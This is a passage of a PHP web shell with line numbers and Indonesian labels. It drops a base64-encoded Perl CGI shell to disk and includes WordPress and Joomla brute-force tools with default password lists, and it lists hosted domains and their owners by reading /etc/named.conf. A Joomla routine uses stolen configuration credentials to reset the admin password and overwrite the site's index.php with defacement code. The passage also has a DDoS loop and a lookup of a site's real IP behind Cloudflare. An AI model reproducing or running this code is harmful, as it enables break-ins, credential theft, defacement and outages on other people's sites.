kmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=';
  3714.  
  3715. $file = fopen("cgi2012.izo" ,"w+");
  3716. $write = fwrite ($file ,base64_decode($cgi2012));
  3717. fclose($file);
  3718. chmod("cgi2012.izo",0755);
  3719. echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
  3720.  
  3721. </div>"; }
  3722.  
  3723. elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
  3724. {
  3725. $submit= $_POST['enter'];
  3726. if (isset($submit)) {
  3727. $pass = $_POST['password'];
  3728. $salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN';
  3729. $hash = md5($pass);
  3730. $hash_md5 = md5($salt.$pass);
  3731. $hash_md5_double = md5(sha1($salt.$pass));
  3732. $hash1 = sha1($pass);
  3733. $hash1_sha1 = sha1($salt.$pass);
  3734. $hash1_sha1_double = sha1(md5($salt.$pass));
  3735. }
  3736. echo '<form action="" method="post"><b><table class=tabnet>';
  3737. echo '<tr><th colspan="2">Password Hash</th></center></tr>';
  3738. echo '<tr><td><b>Masukan Kata : </b></td>';
  3739. echo '<td><input class="inputz" type="text" name="password" size="40" />';
  3740. echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
  3741. echo '</td></tr><br>';
  3742. echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
  3743. echo '<tr><td>Original</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
  3744. echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
  3745. echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
  3746. echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
  3747. echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
  3748. echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
  3749. echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
  3750. }
  3751.  
  3752.  
  3753. elseif(isset($_GET['x']) && ($_GET['x'] == 'wpforce'))
  3754. {
  3755. ?>
  3756. <form action="?y=<?php echo $pwd; ?>&amp;x=wpforce" method="post">
  3757. <center>
  3758. <br><Br>
  3759. <form enctype="multipart/form-data" method="POST">
  3760. <table width='624' border='0' class='tabnet' id='Box'>
  3761. <tr><th colspan="5">Wordpress Brute Force</th></tr>
  3762. <tr><td >&nbsp;</td>
  3763. <td><p>Hosts:</p></td>
  3764. <td><p>Users:</p></td>
  3765. <td><p>Passwords:</p></td></tr>
  3766. <tr><td>&nbsp;</td>
  3767. <td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
  3768. <td ><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
  3769. <td ><textarea style="background:black;" name="passwords" cols="30" rows="10" ><?php if($_POST){echo $_POST['passwords'];}else {echo "admin\nadministrator\nadmin123\nqwerty\n123qwerty\nqwerty12345\n123admin\12345admin\nqwe123rty\n123123\n123321\n123456\n1234567\n12345678\n123456789\n123456123456\nadmin2010\nadmin2011\npassword\nP@ssW0rd\n!@#$%^\n!@#$%^&*(\n(*&^%$#@!\n111111\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999";} ?></textarea></td></tr>
  3770. <tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
  3771. <?php
  3772. if($_POST)
  3773. {
  3774. $hosts = trim(filter($_POST['hosts']));
  3775. $passwords = trim(filter($_POST['passwords']));
  3776. $usernames = trim(filter($_POST['usernames']));
  3777.  
  3778. if($passwords && $usernames && $hosts)
  3779. {
  3780. $hosts_explode = explode("\n", $hosts);
  3781. $usernames_explode = explode("\n", $usernames);
  3782. $passwords_explode = explode("\n", $passwords);
  3783.  
  3784. foreach($hosts_explode as $host)
  3785. {
  3786. $host = RemoveLastSlash($host);
  3787. $hacked = 0;
  3788. $host = str_replace(array("http://","https://","www."),"",trim($host));
  3789. $host = "http://".$host;
  3790. $wpAdmin = $host.'/wp-admin/';
  3791.  
  3792. if(!url_exists($host."/wp-login.php"))
  3793. {echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";ob_flush();flush();continue;}
  3794. foreach($usernames_explode as $username)
  3795. {
  3796. foreach($passwords_explode as $password)
  3797. {
  3798. $ch = curl_init();
  3799. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3800. curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
  3801. curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
  3802. curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
  3803. curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
  3804. curl_setopt($ch,CURLOPT_POST,TRUE);
  3805. curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri&#8207;"."&redirect_to=".$wpAdmin."&testcookie=1");
  3806. $login = curl_exec($ch);
  3807.  
  3808. if(eregi ("profile.php",$login) )
  3809. {
  3810. $hacked = 1;
  3811. echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
  3812. ob_flush();flush();break;
  3813. } }
  3814. if($hacked == 1){break;}
  3815. }
  3816. if($hacked == 0)
  3817. {echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
  3818. }
  3819. }
  3820. else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
  3821. }
  3822. ?>
  3823. </td></tr>
  3824. </table></form></center>
  3825. <?php
  3826. function url_exists($strURL)
  3827. {
  3828. $resURL = curl_init();
  3829. curl_setopt($resURL, CURLOPT_URL, $strURL);
  3830. curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
  3831. curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
  3832. curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
  3833. curl_exec ($resURL);
  3834. $intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
  3835. curl_close ($resURL);
  3836. if ($intReturnCode != 200){return false;}
  3837. else{return true ;}
  3838. }
  3839. function filter($string)
  3840. {
  3841. if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
  3842. else{return $string; }
  3843. }
  3844. function RemoveLastSlash($host)
  3845. {
  3846. if(strrpos($host, '/', -1) == strlen($host)-1)
  3847. {return substr($host,0,strrpos($host, '/', -1));}
  3848. else{return $host;}
  3849. }
  3850. echo "</p>";
  3851. }
  3852.  
  3853. elseif(isset($_GET['x']) && ($_GET['x'] == 'joomforce'))
  3854. {
  3855. ?>
  3856. <form action="?y=<?php echo $pwd; ?>&amp;x=joomforce" method="post">
  3857.  
  3858. <meta name="author" content="ANU" />
  3859. <meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
  3860. <meta name="description" content="ANU" />
  3861. <center>
  3862. </br></br>
  3863. <center><br /><br />
  3864. <form method="post" action="" enctype="multipart/form-data">
  3865. <table class="tabnet" width="38%" border="0"><center>
  3866. <th colspan="2">Joomla Brute Force</th>
  3867. <tr><td><p ><font class="d1">User :</font></th>
  3868. <input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
  3869. </td></tr>
  3870. <tr><td><font class="">Sites list :</font>
  3871. </td><td><font class="" >Pass list :</font></td></tr>
  3872. <tr><td>
  3873. <textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
  3874. </td><td>
  3875. <textarea name="w0rds" style="background:black;" cols="40" rows="13" >
  3876. admin
  3877. 123qwe456rty
  3878. qwerty
  3879. fuck
  3880. administrator
  3881. passjomla
  3882. adminpass
  3883. 123456
  3884. password
  3885. 102030
  3886. 123123
  3887. 12345
  3888. 123456789
  3889. pass
  3890. test
  3891. admin123
  3892. demo
  3893. !@#$%^
  3894. </textarea>
  3895. </td></tr><center><tr><td>
  3896. <font >
  3897. <input class="inputzbut" type="submit" name="x" value=" >> " id="d4">
  3898. </font></td></tr><br><br></center></table>
  3899. </form></center>
  3900. <?
  3901. @set_time_limit(0);
  3902.  
  3903. if($_POST['x']){
  3904.  
  3905. echo "<hr>";
  3906.  
  3907. $sites = explode("\n",$_POST["sites"]);
  3908. $w0rds = explode("\n",$_POST["w0rds"]);
  3909. $Attack = new Joomla_brute_Force();
  3910. foreach($w0rds as $pwd){
  3911. foreach($sites as $site){
  3912. $Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd));
  3913. flush();flush();
  3914. } } }
  3915.  
  3916.  
  3917. function txt_cln($value){ return str_replace(array("\n","\r"),"",$value); }
  3918. class Joomla_brute_Force{
  3919. public function check_it($site,$user,$pass){
  3920. if(eregi('com_config',$this->post($site,$user,$pass))){
  3921. echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
  3922. $f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php\n"); fclose($f);
  3923. flush();
  3924. }else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();}
  3925.  
  3926. }
  3927.  
  3928. public function post($site,$user,$pass){ // Post -> user & pass
  3929. $token = $this->extract_token($site);
  3930. $curl=curl_init();
  3931.  
  3932. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  3933. curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
  3934. @curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
  3935. @curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
  3936. curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
  3937. @curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
  3938. curl_setopt($curl,CURLOPT_POST,1);
  3939. curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
  3940. curl_setopt($curl,CURLOPT_TIMEOUT,20);
  3941.  
  3942. $exec=curl_exec($curl);
  3943. curl_close($curl);
  3944. return $exec;
  3945. }
  3946.  
  3947. public function extract_token($site){
  3948. $source = $this->get_source($site);
  3949. preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
  3950. return $token[1][0];
  3951. }
  3952.  
  3953. public function get_source($site){
  3954. $curl=curl_init();
  3955. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  3956. curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
  3957. @curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
  3958. @curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
  3959. curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
  3960. @curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
  3961. curl_setopt($curl,CURLOPT_TIMEOUT,20);
  3962.  
  3963. $exec=curl_exec($curl);
  3964. curl_close($curl);
  3965. return $exec;
  3966.  
  3967. } } }
  3968.  
  3969. elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
  3970. {
  3971. ?>
  3972. <form action="?y=<?php echo $pwd; ?>&amp;x=domain" method="post">
  3973.  
  3974. <?php
  3975.  
  3976. echo '<br><br>></center><br><br><div class=content>';
  3977.  
  3978. $file = @implode(@file("/etc/named.conf"));
  3979. if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
  3980. preg_match_all("#named/(.*?).db#",$file ,$r);
  3981. $domains = array_unique($r[1]);
  3982. //check();
  3983. //if(isset($_GET['ShowAll']))
  3984. {
  3985. echo "<table align=center border=1 width=59% cellpadding=5>
  3986. <tr><td colspan=2>[+] ADA [ <b>".count($domains)."</b> ] DOMAIN</td></tr>
  3987. <tr><td>Domain</td><td>User</td></tr>";
  3988. foreach($domains as $domain){
  3989. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
  3990. echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
  3991. }
  3992. echo "</table>";
  3993. }
  3994. echo '</div>';
  3995. }
  3996.  
  3997.  
  3998.  
  3999. elseif(isset($_GET['x']) && ($_GET['x'] == 'joomindex'))
  4000. {
  4001. ?>
  4002. <form action="?y=<?php echo $pwd; ?>&amp;x=joomindex" method="post">
  4003.  
  4004. <?php
  4005.  
  4006. function randomt() {
  4007.  
  4008. $chars = "abcdefghijkmnopqrstuvwxyz023456789";
  4009. srand((double)microtime()*1000000);
  4010. $i = 0;
  4011. $pass = '' ;
  4012.  
  4013. while ($i <= 7) {
  4014. $num = rand() % 33;
  4015. $tmp = substr($chars, $num, 1);
  4016. $pass = $pass . $tmp;
  4017. $i++;
  4018. }
  4019.  
  4020. return $pass;
  4021.  
  4022. }
  4023. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
  4024. {
  4025. $ar0=explode($marqueurDebutLien, $text);
  4026. $ar1=explode($marqueurFinLien, $ar0[$i]);
  4027. $ar=trim($ar1[0]);
  4028. return $ar;
  4029. }
  4030. if ($_POST['form_action'])
  4031. {
  4032.  
  4033. $text=file_get_contents($_POST['file']);
  4034. $username=entre2v2($text,"public $user = '","';");
  4035. $password=entre2v2($text,"public $password = ', '","';");
  4036. $dbname=entre2v2($text,"public $db = ', '","';");
  4037. $dbprefix=entre2v2($text,"public $dbprefix = '","';");
  4038. $site_url=($_POST['site_url']);
  4039.  
  4040. $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
  4041.  
  4042. $co=randomt();
  4043. /*
  4044. echo($username);
  4045. echo("<br>");
  4046. echo($password);
  4047. echo("<br>");
  4048. echo($dbname);
  4049. echo("<br>");
  4050. echo($dbprefix);
  4051. echo("<br>");
  4052. */
  4053. $co=randomt();
  4054.  
  4055. if ($_POST['form_action'])
  4056. {
  4057. $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
  4058.  
  4059.  
  4060.  
  4061.  
  4062.  
  4063. $link=mysql_connect("dzoed.druknet.bt",$username,$password) ;
  4064.  
  4065. mysql_select_db($dbname,$link) ;
  4066.  
  4067. $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
  4068. echo("<br>[+] Changing admin password to 123456789");
  4069.  
  4070. $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
  4071.  
  4072. if ( $req )
  4073. {
  4074. #################################################################
  4075. ###################### V1.6 ######################
  4076. #################################################################
  4077.  
  4078.  
  4079. $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
  4080. $data = mysql_fetch_array($req);
  4081. $template_name=$data["template"];
  4082.  
  4083. $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
  4084. $data = mysql_fetch_array($req);
  4085. $template_id=$data["extension_id"];
  4086.  
  4087. $url2=$site_url."/index.php";
  4088.  
  4089. $ch = curl_init();
  4090. curl_setopt($ch, CURLOPT_URL, $url2);
  4091. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  4092. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  4093. curl_setopt($ch, CURLOPT_HEADER, 1);
  4094. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  4095. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  4096. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  4097.  
  4098.  
  4099. $buffer = curl_exec($ch);
  4100.  
  4101. $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
  4102. $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
  4103.  
  4104. ///////////////////////////
  4105. $url2=$site_url."/index.php";
  4106. $ch = curl_init();
  4107. curl_setopt($ch, CURLOPT_URL, $url2);
  4108. curl_setopt($ch, CURLOPT_POST, 1);
  4109. curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
  4110. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  4111. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  4112. curl_setopt($ch, CURLOPT_HEADER, 0);
  4113. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  4114. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  4115. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  4116. $buffer = curl_exec($ch);
  4117.  
  4118. $pos = strpos($buffer,"com_config");
  4119. if($pos === false) {
  4120. echo("<br>[-] Login Error");
  4121. exit;
  4122. }
  4123. else {
  4124. echo("<br>[~] Login Successful");
  4125. }
  4126. ///////////////////////////
  4127. $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
  4128. $ch = curl_init();
  4129. curl_setopt($ch, CURLOPT_URL, $url2);
  4130. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  4131. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  4132. curl_setopt($ch, CURLOPT_HEADER, 0);
  4133. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  4134. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  4135. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  4136. $buffer = curl_exec($ch);
  4137.  
  4138. $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
  4139. if($hidden2) {
  4140. echo("<br>[+] index.php file founded in Theme Editor");
  4141. }
  4142. else {
  4143. echo("<br>[-] index.php Not found in Theme Editor");
  4144. exit;
  4145. }
  4146. echo("<br>[*] Updating Index.php .....");
  4147. $url2=$site_url."/index.php?option=com_templates&layout=edit";
  4148.  
  4149. $ch = curl_init();
  4150. curl_setopt($ch, CURLOPT_URL, $url2);
  4151. curl_setopt($ch, CURLOPT_POST, 1);
  4152. curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
  4153.  
  4154. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  4155. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  4156. curl_setopt($ch, CURLOPT_HEADER, 0);
  4157. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  4158. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  4159. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  4160. $buffer = curl_exec($ch);
  4161.  
  4162. $pos = strpos($buffer,'<dd class="message message">');
  4163. if($pos === false) {
  4164. echo("<br>[-] Updating Index.php Error");
  4165. exit;
  4166. }
  4167. else {
  4168. echo("<br>[~] index.php successfully saved");
  4169. }
  4170. #################################################################
  4171. ###################### V1.6 END ######################
  4172. #################################################################
  4173.  
  4174.  
  4175. }
  4176. else
  4177. {
  4178.  
  4179. $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
  4180. $data = mysql_fetch_array($req);
  4181. $template_name=$data["template"];
  4182. $url2=$site_url."/index.php";
  4183. $ch = curl_init();
  4184. curl_setopt($ch, CURLOPT_URL, $url2);
  4185. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  4186. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  4187. curl_setopt($ch, CURLOPT_HEADER, 1);
  4188. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  4189. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  4190. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  4191. $buffer = curl_exec($ch);
  4192. $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
  4193. $url2=$site_url."/index.php";
  4194. $ch = curl_init();
  4195. curl_setopt($ch, CURLOPT_URL, $url2);
  4196. curl_setopt($ch, CURLOPT_POST, 1);
  4197. curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
  4198. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  4199. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  4200. curl_setopt($ch, CURLOPT_HEADER, 0);
  4201. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  4202. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  4203. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  4204. $buffer = curl_exec($ch);
  4205. $pos = strpos($buffer,"com_config");
  4206.  
  4207. if($pos === false) {
  4208. echo("<br>[-] Login Error");
  4209. exit;
  4210. }
  4211. else {
  4212. echo("<br>[+] Login Successful");
  4213. }
  4214. ///////////////////////////
  4215. $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
  4216. $ch = curl_init();
  4217. curl_setopt($ch, CURLOPT_URL, $url2);
  4218. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  4219. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  4220. curl_setopt($ch, CURLOPT_HEADER, 0);
  4221. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  4222. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  4223. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  4224. $buffer = curl_exec($ch);
  4225.  
  4226. $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
  4227.  
  4228. if($hidden2) {
  4229. echo("<br>[~] index.php file founded in Theme Editor");
  4230. }
  4231. else {
  4232. echo("<br>[-] index.php Not found in Theme Editor");
  4233. }
  4234.  
  4235. echo("<br>[*] Updating Index.php .....");
  4236. $url2=$site_url."/index.php?option=com_templates&layout=edit";
  4237. $ch = curl_init();
  4238. curl_setopt($ch, CURLOPT_URL, $url2);
  4239. curl_setopt($ch, CURLOPT_POST, 1);
  4240. curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
  4241. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  4242. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  4243. curl_setopt($ch, CURLOPT_HEADER, 0);
  4244. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  4245. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  4246. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  4247. $buffer = curl_exec($ch);
  4248.  
  4249. $pos = strpos($buffer,'<dd class="message message fade">');
  4250. if($pos === false) {
  4251. echo("<br>[-] Updating Index.php Error");
  4252. exit;
  4253. }
  4254. else {
  4255. echo("<br>[~] index.php successfully saved");
  4256. }
  4257. #################################################################
  4258. ###################### V1.5 END ######################
  4259. #################################################################
  4260.  
  4261. }
  4262.  
  4263. }
  4264.  
  4265.  
  4266. function randomt() {
  4267.  
  4268. $chars = "abcdefghijkmnopqrstuvwxyz023456789";
  4269. srand((double)microtime()*1000000);
  4270. $i = 0;
  4271. $pass = '' ;
  4272.  
  4273. while ($i <= 7) {
  4274. $num = rand() % 33;
  4275. $tmp = substr($chars, $num, 1);
  4276. $pass = $pass . $tmp;
  4277. $i++;
  4278. }
  4279.  
  4280. return $pass;
  4281.  
  4282. }
  4283.  
  4284. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
  4285.  
  4286. {
  4287.  
  4288. $ar0=explode($marqueurDebutLien, $text);
  4289. $ar1=explode($marqueurFinLien, $ar0[$i]);
  4290. $ar=trim($ar1[0]);
  4291. return $ar;
  4292. }
  4293.  
  4294. }?>
  4295.  
  4296. <center><b>[+] LINK HASIL SYMLINK CONFIG JOOMLA [+]<br></b>
  4297. <FORM action="" method="post">
  4298. <input type="hidden" name="form_action" value="1">
  4299. <input type="text" class="inputz" size="60" name="file" value="http://target.com/sym/home/user/public_html/configuration.php">
  4300. <br>
  4301. <br><b>[+] ADMINISTRATOR PATH [+]</b><br>
  4302. <input type="text" class="inputz" size="40" name="site_url" value="http://target.com/administrator"><br>
  4303. <br><br>
  4304. <TEXTAREA rows="20" align="center" style="background:black" cols="120" name="code">HALAMAN DEFACE ENTE COK</TEXTAREA>
  4305. <br>
  4306. <INPUT class="inputzbut" type="submit" value=" >> " name="Submit"></FORM></center>
  4307. <script language=JavaScript>m='%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%3C/td%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>
  4308. <?php
  4309. }
  4310.  
  4311. elseif(isset($_GET['x']) && ($_GET['x'] == 'ddos'))
  4312. {
  4313. ?>
  4314. <form action="?y=<?php echo $pwd; ?>&amp;x=ddos" method="post">
  4315.  
  4316. <?php
  4317.  
  4318. echo $head.$formg.$nowaddress.'<br><br><br><title>-=[ Ddos tool ]=-</title><br><br><table class="tabnet" ><b><p align="center">Address : <input class=inputz name=urldd0 size=50> Time : <input class=inputz name=timedd0 size=6 value=40000></b><br><input class="inputzbut"type=submit value=" Get Fire!!! "></form></p></table>'.$end;exit;
  4319.  
  4320.  
  4321. if($_GET['urldd0'] && $_GET['timedd0']){
  4322. for ($id=0;$$id<$_GET['timedd0'];$id++){
  4323. $fp=null;
  4324. $contents=null;
  4325. $fp=fopen($_GET['urldd0'],"rb");
  4326. while (!feof($fp)) {
  4327. $contents .= fread($fp, 8192);
  4328. }
  4329. fclose($fp);
  4330. }}
  4331. }
  4332.  
  4333. elseif(isset($_GET['x']) && ($_GET['x'] == 'cf'))
  4334. {
  4335. echo '
  4336. <form method="POST"><br><br>
  4337. <center>
  4338. <select class="inputz" name="krz">
  4339. <option>FTP</option>
  4340. <option>DIRECT</option>
  4341. <option>WEBMAIL</option>
  4342. <option>CPANEL</option>
  4343. </select>
  4344. <input class="inputz" type="text" name="target" value="url">
  4345. <input class="inputzbut" type="submit" value=" >> "></center>
  4346.  
  4347. ';
  4348.  
  4349. $target = $_POST['target'];
  4350. # Bypass From FTP
  4351. if($_POST['krz'] == "ftp") {
  4352. $ftp = gethostbyname("ftp."."$target");
  4353. echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
  4354. ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
  4355. }
  4356. # Bypass From Direct-Connect
  4357. if($_POST['krz'] == "direct-connect") {
  4358. $direct = gethostbyname("direct-connect."."$target");
  4359. echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
  4360. ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
  4361. }
  4362. # Bypass From Webmail
  4363. if($_POST['krz'] == "webmail") {
  4364. $web = gethostbyname("webmail."."$target");
  4365. echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
  4366. ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
  4367. }
  4368. # Bypass From Cpanel
  4369. if($_POST['krz'] == "cpanel") {
  4370. $cpanel = gethostbyname("cpanel."."$target");
  4371. echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
  4372. ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
  4373. }
  4374. }
  4375.  
  4376. elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
  4377. {
  4378. ?>
  4379. <form action="?y=<?php echo $pwd; ?>&amp;x=vb" method="post"><br><br><br>
  4380. <div align="center">
  4381. <?php
  4382.  
  4383. if(empty($_POST['index'])){
  4384. echo "<center><form method=\"POST\">
  4385. DB Host : <input size=\"15\" value=\"localhost\" style='color:#FF0000;background-color:#000000' name=\"localhost\" type=\"text\"><br>
